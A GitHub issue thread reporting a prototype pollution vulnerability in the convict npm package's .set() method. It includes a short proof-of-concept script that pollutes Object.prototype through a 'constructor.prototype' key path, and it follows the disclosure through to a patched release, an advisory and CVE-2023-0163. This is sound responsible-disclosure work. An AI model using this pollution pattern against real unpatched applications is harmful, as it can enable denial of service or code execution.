Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Bug - Prototype Pollution on .set() #410

Closed
Captain-K-101 opened this issue Nov 24, 2022 · 20 comments
Closed

Bug - Prototype Pollution on .set() #410

Captain-K-101 opened this issue Nov 24, 2022 · 20 comments

Comments

@Captain-K-101
Copy link

Captain-K-101 commented Nov 24, 2022

Convict is vulnerable to Prototype Pollution. This package allowing for modification of prototype behavior, which may result in Information Disclosure/DoS/RCE.

Proof of Concept
Create the following PoC file:

  • index.js
const convict = require("convict"); //6.2.3
let obj = {}; const config = convict(obj);
console.log({}.polluted) //undefined
config.set("constructor.prototype.polluted", "polluted1"); 
let a= {}
console.log(a.polluted) //polluted1

Run> node index.js

Output

undefined
polluted1

💻 Technical Description *
Fix implemented by not allowing to modify object prototype.

Filter out all keywords and check for vulnerable instances like constructor | __proto__ | prototype

Expolit Image

Screenshot 2022-11-24 at 2 39 56 PM

@Captain-K-101
Copy link
Author

Any Updates on this its been close to a week and half

@clouserw
Copy link
Member

clouserw commented Dec 5, 2022

@madarche do you have any thoughts on this?

@Captain-K-101
Copy link
Author

Hi sorry again for constant pestering but any updates on it 😅

@madarche
Copy link
Collaborator

madarche commented Dec 9, 2022

@Captain-K-101 @clouserw all prototype pollution vulnerabilities should have been dealt with 🤔 I'll check and I'll report here!

@Captain-K-101
Copy link
Author

Sure Thanks 👍

@Captain-K-101
Copy link
Author

Captain-K-101 commented Dec 19, 2022

@Captain-K-101 @clouserw all prototype pollution vulnerabilities should have been dealt with 🤔 I'll check and I'll report here!

Hey any updates?+ would this be eligible for a cve?

@madarche
Copy link
Collaborator

madarche commented Dec 26, 2022

@Captain-K-101 this is elligible for a CVE. Good catch. And I can't believe I've missed this. I've just created a PR #411 which fixes the vulnerability+test. I'll finish tomorrow. Sorry for the delay.

@Captain-K-101
Copy link
Author

Thanks a lot. 😄

@Captain-K-101
Copy link
Author

Hi, would a CVE be assigned by you guys, or do i have to report it to cvemitre or smthing. (Not sure how it goes thus asking 😅)

@madarche
Copy link
Collaborator

Fixed by #411

PS: I'll publish a new version of convict on npm ASAP and will keep you informed about the CVE or equivalent. @Captain-K-101 you'll be credited as you should.

@madarche
Copy link
Collaborator

madarche commented Jan 7, 2023

@Captain-K-101: convict@6.2.4 with the fix for the vulnerability you've discovered is published.

I'll now work with @clouserw to have a security advisory published. I'll let you know as soon as it's done! Thanks again.

@madarche madarche closed this as completed Jan 7, 2023
@Captain-K-101
Copy link
Author

sure thanks for the update

@Captain-K-101
Copy link
Author

Hey just a quick question would this be eligible for a cve.

@clouserw
Copy link
Member

clouserw commented Jan 9, 2023

Hey just a quick question would this be eligible for a cve.

I've asked for one. I don't know how long it will take.

@Captain-K-101
Copy link
Author

oh okay.

@madarche
Copy link
Collaborator

And the published security advisory is: GHSA-4jrm-c32x-w4jf

@Captain-K-101
Copy link
Author

Hey @madarche do we have any update on the cve?

@clouserw
Copy link
Member

clouserw commented Feb 9, 2023

I'll ask for an update

@clouserw
Copy link
Member

clouserw commented Feb 9, 2023

It's CVE-2023-0163. I added it to the security advisory.

@Captain-K-101
Copy link
Author

h nice thanks

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

3 participants